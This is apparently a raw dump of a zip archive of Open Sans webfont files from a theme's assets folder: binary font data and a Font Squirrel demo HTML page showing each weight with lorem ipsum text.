+�$/�ִ+�� ��+�/�+�%+��99�"�9�	�99�
�99��99��901532654+732654#"'632#"h~zZc�l]Yku\`D~�|�mhNJǪ�q�GJEq�DAdAyZobZvbB�����!(�/�
+�	/�ִ
	+�
+��901567!�a�6�G�l�B�4���R��+�+��+�33�/�3�/�ֱ��+���+�+��+�
�+�6�>��+
�>��+��+�+� � �#9�9�..�..�@��9��99��99��99��9901332673#7##"'#7R�B?q�-f��
K�Wl/	B�>�bT-AH�����ocQI�������L�/��
+�@
	+�@
	+�2�/�
ִ	
+�	�
+�/�	�+�
+�+0163!####"&���E���>S�����f��3����9�juV�D��A�+�+�+�/�ִ
+�+�
�	
99��9��
99013254&'73#"'�/1�FEb�2H@��@6��`(+	�`T;jz�J��
`�+�3�
/�/�ִ+�+�6�>��+
�.�������...�..�@��9�
�901%3#67�S���c(9}����O�.P��
N�+�+�/�+�/�ִ+��+�+�+��99��99014>32#"&732654#"�X�k|�T�nz��pMejQgz�o��~�p�~�����
\��
77%7
���&���s�\`L�P�PqJrL�9�^�����'��&{�������y�'�w&{�t����l/�'�!'�+��u��u�Z%n�+�#+�/���&/�ֱ��+�2� 
+�+�'+��
$9��#999� �9��9�#�99901467>733267#"&4632#"&#��]`�mtkM%TQL�OK�̮��]OB?`R8CDx�u@u_��SONP0GW7&�p��NfD5UcA����Ns&$C��R�����s&$v�R�����s&$�ZR�����H&$�sR����s>&$j\R����N&$�m��%���+�3�	�+��22�
+�3��
2�
+���/�+�6�>��+
�
.�.�
�	
���
��	�	+�	+�
�
+�	
.......�@01#!!!!!!!	!#y��+��T�+�
b+��V�P��X�R��u�5���jf�����!�&&z+��F�s&(C��R��F�s&(v}R��F�s&(�?R��F�>&(j5R��Fvs&,C��R��F�s&,v��R��Fis&,�>R��F`>&,j�IR5�
��+�3��+�3��
+�33��
22�/�ֱ
�+�6�>��+
�.�.��
���
���+�
+��+�+�
........�@��990173! )32$54&+!!5-��q$�����o��������^-��o�����l�o�Z�8ȸ��I���D�H&1�R������s&2CoR������s&2vR������s&2��R������H&2��R������>&2j�R��7			'�}89��7{���z3
}��5{���{5��{7m���'q�+�!�+���(/�ֱ��%+��)+��999�%�$9��	
999�!�999��'$9��	9901?&5$327#"'&#"32654'm�g�Vٽ�w��^����}v��Pu��{Kw��|�����^�h����L�S�wXLDA�����8�R�X7������s&8CNR������s&8vR������s&8��R������>&8j�R���s&<vfRFd���+�3�+�3�

+��
+���/�ֱ��+���+��+�6�>���+
��+�+�
+�+�
....�@�
�9013332!#32654&+F5�3a����lBk`��wyy����������mb����9��+��7+��1/�	��:/�(ֱ��"+��. ���;+�6�>��+
����4
��3��34....�34....�@�(�	%+1$9�"�,9�.�99��99�7�99��9��9�1�999013267>32#"'532654&'.5467>54&#"#"'��=4AS0��ѳv=JkH&�ƶe~~iv/XRNY[bQ^U�4��*��EH��Wh��̠���WA#,9TVc<��A�VXP0JF@sEK�<B\4AH�Ů��^��!&DC���^��!&DvZ��^��!&D���^���&D���^���&Dj���^���&D��^���f)7A��"+�+�'3��-2�	+�+�3�4�?2�8
+���B/�ֱ*�*�"+�!
+�!�<+��C+�"*�'-4$9�!�#$1999�<�8$9��99�"� 99��#$*$9�48�1<999�	�99014632373>32!#327#"'#7##"&732654&#"%32654&#"^��X�,	?�3�d������-ys}����S�U�^���J;U�`MKU�S���D3g�o�b�W[�u?J�}��<uxT�O�u�jZλib��[n���yk`:4���^��f&Fz���^���!&HC���^��!&Hv1��^��	!&H����^����&Hj���/!&�C����/!&�v�8��/	!&�����/��&�j��P��{%+Y�+�!�(/���,/�ֱ��+�'+�-+��%$9��99�(!�9��9990146323&''7&'77#"&732>54&#"P��`�)
{�H�,[j�P�Fٛ�������b]\�Nh\[�J���MF󌎁y)7�HJ�y�����ַhow�jatp���/}�&Q�%��^��7!&RC���^��7!&RvH��^��7!&R����^��Z�&R���^��7�&Rj�u��4�
/�+�/��/�+�/�ְ2�

�2�+015!4632#"&4632#"&u���?>>AE::C?>>AE::Cw����@GH?@IG�@GH?@IG3��Z�&r�+� �+���'/�ֱ��$+��(+��999�$�$9��	
999� �999��&$9��	99901?&54$327#"'&#"32>54'3sF���gV}d?����bi��-L��T)OY�U�h��J�=l`ud����;�'#%#��D!��-��o���!&XC���o���!&Xvs��o���!&X���o����&Xj���V�R!&\v���P$��+��+�!�/�3�%/�ֱ��+���+��&+�6�>��+
�������>��+�+�+�+� � �#9�9�9�.....�...�@��99��$9��!99��9�!�9990133632#"&'#32654&#"7��023������^�+`�\VV�VRMT�`����̹���[U[^�1abi��de������V�R�&\j�/R?�+�3�+�3�/�ֱ��+��+�6�>��+
�@0133/���R�����R�!��+��+��+�	�+��


+�
��"/�ֱ
�#+�6�>��+
�.���
���	
���
	+�
	+�..�	

......�@�
�9901$32!!!!!!# 327&#"��VّN�+��T�+�`+�3TV�����JA�Dq�����u�5�+
�����^���f"/9�� +�3�&�2�+�,�	+�7�0 	
+���:/�ֱ#�#�4+��;+�4#@		 )0$9��99�& �99��#99�,0�)4999�7�9014$32>32!#3267#"&'#"&73254&#"%32654&#"^����bI�}������/qqE�o[�ax�0����a[��cZW�W���<9i���M��[g����<o~#1�+$\\���tz%�ou��Lle08����>&<jRb�+!
!�/�3�
+�/�+��9015>73#&'b�~�&��LU�i���(c�?snD���L�	/�+�/�+�/�ִ
+��+�
+�+��	99��99014632#"&732654&#"�gh��jj�53/<</-;�g{ygh{zg1771299F�X�E�/��
2�+�
�2�/�ִ
+��
+�
+�+�
�
99013232673#".#"F9�.NC<(2�B�-KD? &2�#)#5<��")"78/�R�!�/����/�ִ
+�+017!/-�-���/�R�!�/����/�ִ
+�+017!/-�-���/�R�!�/����/�ִ
+�+017!/-�-���/����/����/�+017!/+F+���/�w��/����/�+017!/++���w�1�"�+�	+�/�ִ

+�	+01673#w"�W�zM��L
����s�/�"�+�	+�	/�ִ

+�
+01673s+~�%�R�_@VS������V� �/�	+�/�ִ

+�+0163fi_�l�����w����+�
3�	+�
2�/�+01673#%63#w"�W�zM��T��zM��L
�����!���s����+�3�	+�	2�/�+016733673s+~�%�R�3t �	b��_@VS��r&]��������
�/�3�	+�	2�/�+0163373fi_�l��xO�	\�����������.�	/�+�+�/�ִ
+�
+�
+014632#"&���du��fq���mr��s��%��o'!'1Pdb��/�ִ
+�+015P����%�v����L
\��/�ִ
+�+��90177
!���t�NnL�@�Z��!3�=����JFJ�
��+�3�
/�3�+�22�

+�@
	+�	2�/�+�6�>��+
�	.�.�	�������+�+�	�
	+�	+�>^�+�
	+�
	 � �#9�
..@		

.........�@�
�901733##7'3?F��y{z'�'��4" B��9�͏���݁3P3����'b�$+��
+��$

+�3�+�2�$

+�3�+�2�(/�)+�$�"9��!9��9�
�
9017367#7332.#"!!!!327#"53!�� �\G�X�Pf6jBv�A�!�n
T!��y�x������_,�,7�",���CH���<�=�q���{�+�	33�+�2�
+�@	+�222�/�ִ
+�
+�@	+�
+�@	+��+�
+��+�
+�+��
$9015!##33#7###qƒ�ת�͒�w�7��R�����/�y��s�XQQ!!Q��Q������
&IL�����&IO����9=I`�:+�=3�7+�*3��/2�� ��-3�9�,2�+�#;<$3�3�&2222�+�/�3��2� ��3��A22��G+�J/�:ֱ=�=�;+�<�> ��D
�K+�6�>��+
��	��4����>=�+
�2.���&��"��>��+
��	+�	+�4�4+�2�2+�&�#&"+�4�34+�	"4......@	"#&234..............�@�=:�%$$9�<>�AG99�3�9��>D9901327#?>32&#"!7>32&#"3##"'5327!#"'34632#"&�@2�,ٳ�,��s`=J>ES�,��u`>J=GQ�'��+��_6<6�(�J�(��Z;h���1NE6AOB3F����jL\Ƨ+�VbV`Ũ+�VbV�������㽲�R��bDT56GR4���9=E�:+�=3�7+�*3��/2�� ��-3�9�,2�+�#33�3�&2222�+�/�3��2� ��3��2�>/�:ֱ=�=�;+�<�?+�6�>��+
��	��4����>=�+
�2.���&��"��>���+
�:�;��=�<���	+�	+�4�4+�2�2+�&�#&"+�4�34+�	"4;<........@	"#&234..............�@�=:�%$$9�3�901327#?>32&#"!7>32&#"3##"'5327!#"'	3�@2�,ٳ�,��s`=J>ES�,��u`>J=GQ�'��+��_6<6�(�J�(��Z;fL�����jL\Ƨ+�VbV`Ũ+�VbV�������㽲����	̺�_<���������s�������d����-!Z�+3h=���B��N�fb�hu���/'!��h\h�h��hh��h5hoh}hLh\'!'��hshuhs���d����F��^F5FFw��F`Fd���F�F�D�D���F���F!'�w�������D�D��w���w�q-%-�Do�^�/�^�^3^��+���/3/3��9/3//�/�^����^D/��\�o�dy���V����h���ho-��h�h��h�hjh��'o�����Phu�/���om�hu�N�ho���=�'���D����
}�}y�l�������������������������5F5F5F5F`F`F`F`F^5�D����������h��mw�w�w�w�D��F��^�^�^�^�^�^�^�^3^3^3^3^3/3/3/3/�P�/�^�^�^�^�^hu�3�o�o�o�o�V����V3/��^D�ob�oF�s�s{�==�}i�/�/�/�/�/�w�s��#w#s�����b%}mPm
���Fh3�qQ�����2222l�xz.��2V���h��n�F��b�	 	X	l	�	�

�L�p�

|
�^��z^�"��6��V��Dt���~�,��j\�8l��@��L�Fz�\� > Z �!�!�!�"\"�#V#�$$�$�%�%�&&6&T''"'p'�((�(�)@)�)�)�**f*�*�*�*�+,+8+D+P+\+h+t+�+�+�,
,,",.,:,F,R,�,�,�,�----@-�-�-�-�-�-�.d// /,/8/D/P/\00"0.0:0F0R0^0j0v0�0�1111$101<1�1�2
22"2.2:2�2�33�4:4F4r4�5555555555555$5B5`5z5�5�5�6646f6�6�6�6�6�77&7&7�88~8�8�8�9�:��J<sf	r	r	�	�	2�	�	.�	�n(Digitized data copyright � 2010-2011, Google Corporation.Open SansSemibold ItalicwebfontOpen Sans Semibold ItalicVersion 1.10OpenSans-SemiboldItalicThis font was generated by the Font Squirrel Generator.���ff�	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a������������������������������bc�d�e�������f����g�����h���jikmln�oqprsutvw�xzy{}|��~������������	

��������������uni00A0uni00ADuni00B2uni00B3uni00B5uni00B9uni2000uni2001uni2002uni2003uni2004uni2005uni2006uni2007uni2008uni2009uni200Auni2010uni2011
figuredashuni202Funi205Funi2074EurouniE000uniFB01uniFB02uniFB03uniFB04�����K�PX��Y�F+X!�YK�RX!��Y�+\X� E�+D� E�+�+D� E�U+�+D� E�-+�+D� E�+D�	 E��+�Fv+D�
 E�	t+�Fv+DY�+PK!���)bluetheme/assets/fonts/OpenSans/demo.htmlnu&1i�<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN"
	"http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">

<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
<head>
	<meta http-equiv="Content-Type" content="text/html; charset=utf-8"/>

	<title>Font Face Demo</title>
	<link rel="stylesheet" href="stylesheet.css" type="text/css" charset="utf-8">
	<style type="text/css" media="screen">
		h1.fontface {font: 60px/68px 'OpenSansRegular', Arial, sans-serif;letter-spacing: 0;}

		p.style1 {font: 18px/27px 'OpenSansLight', Arial, sans-serif;}
		p.style2 {font: 18px/27px 'OpenSansLightItalic', Arial, sans-serif;}
		p.style3 {font: 18px/27px 'OpenSansRegular', Arial, sans-serif;}
		p.style4 {font: 18px/27px 'OpenSansItalic', Arial, sans-serif;}
		p.style5 {font: 18px/27px 'OpenSansSemibold', Arial, sans-serif;}
		p.style6 {font: 18px/27px 'OpenSansSemiboldItalic', Arial, sans-serif;}
		p.style7 {font: 18px/27px 'OpenSansBold', Arial, sans-serif;}
		p.style8 {font: 18px/27px 'OpenSansBoldItalic', Arial, sans-serif;}
		p.style9 {font: 18px/27px 'OpenSansExtrabold', Arial, sans-serif;}
		p.style10 {font: 18px/27px 'OpenSansExtraboldItalic', Arial, sans-serif;}
		
		#container {
			width: 800px;
			margin-left: auto;
			margin-right: auto;
		}
	</style>
</head>

<body>
	<div id="container">
		<h1 class="fontface">Font-face Demo for the Open Sans Font</h1>
	
	 

	<p class="style1">Open Sans Light - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>

	 

	<p class="style2">Open Sans Light Italic - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>

	 

	<p class="style3">Open Sans Regular - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>

	 

	<p class="style4">Open Sans Italic - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>

	 

	<p class="style5">Open Sans Semibold - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>

	 

	<p class="style6">Open Sans Semibold Italic - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>

	 

	<p class="style7">Open Sans Bold - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>

	 

	<p class="style8">Open Sans Bold Italic - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>

	 

	<p class="style9">Open Sans Extrabold - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>

	 

	<p class="style10">Open Sans Extrabold Italic - Lorem ipsum dolor sit amet, consectetur adipisicing elit, sed do eiusmod tempor incididunt ut labore et dolore magna aliqua. Ut enim ad minim veniam, quis nostrud exercitation ullamco laboris nisi ut aliquip ex ea commodo consequat. Duis aute irure dolor in reprehenderit in voluptate velit esse cillum dolore eu fugiat nulla pariatur. Excepteur sint occaecat cupidatat non proident, sunt in culpa qui officia deserunt mollit anim id est laborum.</p>

		</div>
</body>
</html>
PK!�>0����?bluetheme/assets/fonts/OpenSans/OpenSans-BoldItalic-webfont.ttfnu&1i�FFTM_���GDEF( OS/2�q�OH`cmap�\l���cvt c
�Ffpgm�/��egaspLglyf�3"&Trlhead�j��x�6hhea��x�$hmtx�/�y�loca��|��maxp�~� name(�C~~��post-����prep�����ɉo1��D��I�B��3�3�f��@ [(1ASC! ����X �^� ��0 ~�1Sx��� 
    " & / : D _ t �!"���� �1Rx���     " & / 9 D _ t �!"���������q�M�����������������r�;�� ��	

 !"#$%&'()*+,-./0123456789:;<=>?@ABCDEFGHIJKLMNOPQRSTUVWXYZ[\]^_`a��������������������������������rdei�x�pk�vj��sgwl|���cnm}�b����������ڹ��������y��������������������q�z�^����������+--17���)
��&$����,�K�*PX�JvY�#?�+X=YK�*PX}Y ԰.-�, ڰ+-�,KRXE#Y!-�,i �@PX!�@Y-�,�+X!#!zX��YKRXX��Y#!�+X�FvYX��YYY-�,
\Z-�,�"�PX� �\\�Y-�,�$�PX�@�\\�Y-�, 9/-�	, }�+X��Y �%I# �&J�PX�e�a �PX8!!Y��a �RX8!!YY-�
,�+X!!Y-�, Ұ+-�, /�+\X  G#Faj X db8!!Y!Y-�
,  9/ � G�Fa#� �#J�PX#�RX�@8!Y#�PX�@e8!YY-�,�+X=�!! ֊KRX �#I �UX8!!Y!!YY-�,# � /�+\X# XKS!�YX��&I#�# �I�#a8!!!!Y!!!!!Y-�, ڰ+-�, Ұ+-�, /�+\X  G#Faj� G#F#aj` X db8!!Y!!Y-�, � �� �%Jd#�� PX<�Y-�,�@@BBK�cK�c � �UX � �RX#b �#Bb �#BY �@RX� CcB� CcB� c�e!Y!!Y-�,�Cc#�Cc#-���
�<�+�+�+�+�/�ִ+��+�+�	+013!%!!�I�y����Jh�����7�
+�	/�+�/�ִ+�+��
99�
�90174632#"&!kaDRnYIR}�T�sZlLEWlK��/�����+�3�+�2�/�	+01!3!�G��J������)5�O�+�333�+�333�
+�$3��$2�
+�$3��	

$2� /�ִ+��+�2�+�2��+�+�!+�6�=F�+
�=��u+
��+�+�+��	+��
+��
+�+�+�+��+��+��+��+��+�+��+@	

................�@��9��9017!7#7!3333!!!###%37#)F�!w�u�t�t���E��t�u�s�q�E�������i��i���h��h���3��`$+8�/�3��%2�
+�@	+�2�"/�3�

�
2�,/�ֱ�2��+�/�
+�@	+��(+�� ��+�-+�6�>��+
�����+��>Y�+
�.�!�������+�!�
!+��
+�+��++��+�!�"!+��%++�!+......@

!"%+............�@��9��99�"�$9�
�	99017.546?3&'#7&7>54&'3��G����#�!��j�n?��B��'�,�1P3>E\?N1#�
k
B=�|����D�A	��3a�U�����O �D�	H>.;s����
)5��+�'+�,�+�+��'
+�� 2'
+� ��6/�ִ+��+�+��+�*+�*�0+�#+�7+��9��999�0*� '999�#�9�,�*99�2�#099� �9��99014632#"&33254#"4632#"&732>54#"so�{��p�z��t@��o8A^9?_ej�|��l�y���7)H/:'H.u��������$��Jd`�`���"�#�����۔��an�a`p�D����$0~�+�+��+�.��1/�ֱ%�%+��/��%�++��2+�%�"$9�+�
!999��$9��9�.�"($901467&54632>7!!'#"&%327>54&#"D��L�ǩ���,I*,����H����;[Gsj�XF�qU<(BIf��a���᥎���9�m�Ǹ��bv��AV;H3kl.\;h<93]��%�"�+�+�/�ִ+�+01!�G����J��H�#�+�/�ִ&+�
+��
901!
#J���u�S?�������
�m��j�
#�+�/�ִ&+�+��9013��t����!�3�����������B�%7%%'%�VR!q�����Z��u�q3���+��IQ��m�%�U�/�3��2�
+�@
	+�
+�@	+�/�
ְ2�	+�2�	

+�@		+�
	
+�@
	+�
+015!3!!#mn�o���d�q����l������ �/�	+�/�ִ	+�+016!fJxv����O��)�j�!�/�
�
��/�ִ+�+017!)55�����{9.�	/�+�+�/�ִ+�+�
+0174632#"&kaDRnYIRsZlLEWlK����#!Z)'����JB��V�D�	+�
�+�
��/�ֱ��+��+��	99��9901$3 !"&%32654&#"B� ��������/7FQ�]=>P�`�)��'�*����su���of�t���
[�+�3�+�3�/�ֱ�+�6�>���+
�������.�..�@��9��
9013!67�6���ϴ#)	i�Z\�J=��N���J�G�+��+���/�ֱ�+��99��9��999��901#7>54&#"'>32!1+ݴ�REB�f����R����86����TKOCU�p_ġk����
����P�'s�&+�
�+�
�
&
+�	�&+�(/�ֱ"� ���)+��99�&�9�
�"99��99��9��9��901732654!#732654&#"'>32#"T�]�����.I��VN��|ي�ؽ�������;23q��|nCJd�QA�����y��u��P�
��	+�3�+�
	
+�33�
�2�/�	ֱ�+�6�>��+
�	������+�	�
	+�	+�>l��+�
	+�	+�
	 � �#9�9�
...�

.......�@�	�999�
�9��9017!3#!%!7>7#07ê3�?��?��7:8#a/���i��/�:�#?v��h�S�+��
+��	

+��	
+�@		+�/�ֱ�+��9�	�99��9901732654&#"'!!632#"&����smfoh��7�XH7�ԏ��u�=
c�{^^!N������.X����&W�+�
�+�

��'/�ֱ�� +��(+� �
999��
99�
�#$9��9014$32&#"3632#"&%32654&#"Xz�,�}b3Tk��Bsĝ�����'PCc}CE<mB�������°��ߎ��[h��GUGxN��"�+�+���/�+��9013!!N�8�)���7��f�#-x�+�
�+�+	��./�ֱ�+�$��+��� ��(�(/��/+�$�99��!&+$9�(�9�+�!&$901%&54>32#"&%32654&'654&#"7\�tܓ{�a�����)dU]mITtr�{�O?LZ^*���w�hT�b��4��z�j��Q_kUIu6-|l�EH�DN]V��D�'X�+�
�+�$
��(/�
ֱ��!+��)+�
�99�!�
999��9�$�
$901732>7##"&54632#"32>54&#"Voty�s*o������������KD<g=GKAe7)b���϶�������WYI_TjT���1sO�+�+�	/�+�/�ִ+�+�+�+��	9��99��90174632#"&4632#"&kaDRnYIR�o^DQmZHSsZlLEWlK|\kMEVlI����1s,�
+�+�/�ִ
+�+�
�99016!4632#"&fJxv�To^DQmZHS���O���\kMEVlIm�%5	m��}��������m�%�/��/���/�	+015!5!m��H�������m�%75	5m��}���=�������&}�+�#
�	/�+�&/�'/�ִ+�2��+�/��!+��(+��9��	&$9�!�#$9�&�!999�#�9��90174632#"&632!7>7>54#"�n_DQnXJR�ױ�9l�@A(��mv|C�2q�s[kLEWlL}��S�q[+<EJNg�QTV5w D\�F��8D��+�(�5/�/�/�3�<�!2�A/���E/�ִ,+�,�+�9+�9�%+�+�F+�6�>�W+
�=�?������+�+�=�>=?+�>=? � �#9�9�9�>?......�>?......�@�%9�(/25$9�/5�39��29�<�9�A�%,$901$! #"&'##"&5463232>54&#"3267#"$%327&#"\��>j��Xq2~T��𔹎j:BtE������u�w�����m1-�H9$.RI������٭�ئMFMF����7�\,A D��k������(.�Z�8�AJ�
g�����;�+�3�+�
+���/�ֱ�+��9��
901#!!!!&={�u����'�)M
,A��D\��`^�z$x�5����+�3��+�3��
+�
�� /�ֱ� ���!+�6�>��+
�.�.��������+�+�......�@��	99��9��	99��9013!2!32654+732654+55��ꦙdw���u���3�yy������� �n�tg��a[�{��7�E�+��+��+�/�ֱ�+��9��999��901$32.#"327#"{�\�}�ovj�D�Ӏ��������)��-<�;&��ŵ��M��M+5+�	`�	+�3�
�+�3���/�ֱ�+�6�>��+
�.�.��
�����
....�@�
�9013! #32654&+55�'���\j��|��s�����c��'���5��i�+�	�+��
+���/�
+�6�>���+
�.�.��	�����	�	+�	+�	......�@013!!!!!5526�C�7�#P6��������5��	`�+�	3�+��
+���
/�ֱ	�+�6�>���+
����	���	+�	+�....�@013!!!!55.6�O�8�'y�������{��m�R�+��+�
�
+��+�/�ֱ�+��9��9��9�
�901$32.#"327!!# {����sJ�W�񉑖L^B��83������%��c�(0��ͱ��+�.!&5����+�333�+�333�

+�	3��2�/�ֱ��+���+���+��
+�6�>���+
�>���+
��+��+�	+��
+�	
....�@013!!!!!552y�y1��Ά�)����=�Jw��5��?�+�3�+�3�/�ֱ��+��+�6�>��+
�@013!581����J���R��
Y�+�3�/���/�ֱ�+�6�>��+
�������..�..�@��
9��9013267!#"'��XLc{%1��4��^]�y�d�q��5����+�33�+�33�
/�ֱ��+��+�6�>���+
�>��+��+�+� � �#9�9�..�..�@��
9��
9013!7!	!552���i��#���}m��B��D�PF��5��E�+��+�3�/�ֱ�+�6�>���+
�������..�@013!!552�6��J�5���+�$3�+�33�/�ֱ��+��+�6�>���+
�������� �+
�.�������>���+
�������>�6+��	+��+� � �#9�	9�	......@
	..........�@��
99��99013!3!!67#!#55�D'����54���=6����E�J����mX��	5���+�
33�+�33�/�ֱ��+��+�6�>���+
���������+
�
.�������...�
......�@��	9013!36!!#55eT6������ "����L�JR ت�P{����
D�+��+���/�ֱ��+��+��99��9901$3 # 32654&#"{�\�������7�yy�p�vy�s	�����A�'���>Ǝ����5��
y�+�
3�+�3��
+��	2�/�ֱ
�
�+��+�6�>���+
����
���	
+�
+�	....�@��9013!2!#32654+55R���Vm�8���J������t�{����^�+��
+�@	+�+���/�ֱ��+�� +��
$9��9��
9��9901$3 !# 32654&#"{�\����������7�yy�p�vy�s	�����!b�wH'���>Ǝ����5��
��+�	
33�+�3���/�ֱ
�
�+��+�6�>���+
����
���>��+�
+�
+�
 � �#9�9�..�....�@�
�
99��	9��99013!2!#32654&+55g����ww�N��_fJ��Ş�7��1��-ruRR)��V�#a�"+��+���$/�
ֱ��+��%+�
�
"999��999�"�9��
$9��901732654.'.54>32&#"#")��p~2c�p|�ٴm��SjBsyx���FlUJ+A8Jc�p��qc�JZJ=[KP�������J�+�3�+��22�/�ֱ�	+�6�>���+
�������..�@01!!!�7�7���������L������v�+�	�+�
33�/�ֱ�+���
+��+�6�>��+
�
������..�..�@��	99�	�90147!3267!!"&��1��{� �2�9�������HB��iJ3�����N������q�
0�
+�+�
3�/�ֱ�+��
9�
�901!367!!�'3N �<������-Xg/�>p�J���w�+�3�+�
33�/�ֱ��+�/��+�+�+� +��999��
999��9��99��99901!3>7!367!!'47#!�Zq	+XJ5�y��.E�������4�5@�3���~���JыXF���1��y�R�+�3�+�3�/�ֱ��	+��
+��99�	�
99��99��
9901#!!	!u@�@�kX������t�����+����?�g�+�3�+�3�	/�ֱ�� ���/��
+�6�>��+
�������..�..�@��901!!!�8�vV��w��w���P�y��/����	.�+��+���
/�+��9��901#7!!!=&	��5�)��T5�������1�L�+��/�3���/�	+�6�>��+
�.�.�������....�@01!#3%}�-���-���������N�+�3�+�3�/�ִ&+�+�+�/�+�+�6�����+
�@01!!����J�w����U�+�3��2�/�3��2�/�	+�6�>��+
�.�.�������....�@0173#7!�-�#�-�����T�'��+�/�ִ+�+013#k�߮�n��Jy���F����H�/�,+�,+�/�+017!�6�������!�/���	/�ִ
+�
+015!#.�7$O�G���E�Z���s >�+�+�	+�+���!/�ֱ�"+��
$9�	�9014632373#7##"&%32>54&#"Z��a�'9�������1C>E�NM?D{I��g�TP�������XX��G]��%��h!q�+�+���"/�ֱ�#+�6�>��+
�.��� ���� +�  � �#9� ....� .....�@��9013!3>32#"'#32>54#"%J->)+N�L�����R:�JACzK�D|P��ubHؾ���У��P`��u���Z���s=�+��+�
��/�ֱ�+��9�
�999��9014$32.#"3267#"&Z����\6hBU�M[QL�E������[�H�"�߀`a/#�O�Z���#S�+�+�+� ��$/�ֱ��+�
�%+��$9� �$9��990146323767!#7##"&%32>54&#"Z��Rw5L-���G�]��1�B}LKAD{I��e�JZnUf��WN�Ͱ��P`��Z��Bs!i�+�
�+��

+�
��"/�ֱ
�
�+��#+�
�$9��99��9�
�99��9014$32!#3267#"&32654#"Z�������3g`W�e����R-��iX���U�����[i&0�V��aS_��%����+�
�+�
�2�	+�/�
��/� +�6�>���+
��
�������
+�	
+��+�+�
....�	
........�@��9��9��9�
�9013267#?>32&#"3#!"'�=6=\̣�)ð�hPE@9F�1��M��hF�PZőTT��1�PA>�������s(4>��&+�+�+�<�2�<��7&
+�7��?/�ִ)&+�)�+�5� ��&+�5�:+��. ��#�@+��&+$9�5�29�.� 7<$9�#:�!99��9�+�#2$9�7�99�<�99901467&5467.54632!#"'!"&%32654&/32654#"s��JYfA>��SS�#���;(T<;��������	—�Airjm$gK]cM_�f�0/VGg/1~Z���)4B��
3"x��sZR'*Vw�uu�%m��+�333�/�ֱ��+��+��/��+�6�>��+
�������>��+
��������+�+�+� � �#9�9�9�.......�.......�@��99��9��	9013!3>32!654#"%J-'*A>�d����Ӊl\�+b���M]��Ik���D3{��1%�b�+�3�+�3�
/���/�ֱ�+��/��� ��
�+�6�>��+
�@��
99013!4632#"%�-�_WILX\�^��dWY>:Pc����u�	+�
�+�3�/���/�ֱ� ���+�6�>��+
�������..�..�@��99�	�9��901327!!"'4632#"��=5�$�.��M��hFL_WILX\�����)��7WY>:Pc%���+�33�+�/�ֱ��+��+�6�>��+
�������>��+�+�+� � �#9�9�....�..�@��
999��
99013!3!	!%J-��X����xJ�J)Lf����H��%�I�+�3�/�ֱ��+��+�6�>��+
�������..�@013!%J-����%�s&��+�$3�+�+�+�'/�ֱ&�&�+���+��+��/��(+�6�>��+
�������>��l+
�������....�....�@�&�9��999��"99��	99��9��9��	"$9013336323>32!654#"!654#"%�����+D�i����ӊb\�,`�Ӊb\�+b^���nv��Lh���D3{��/�D3{��1%ms��+�
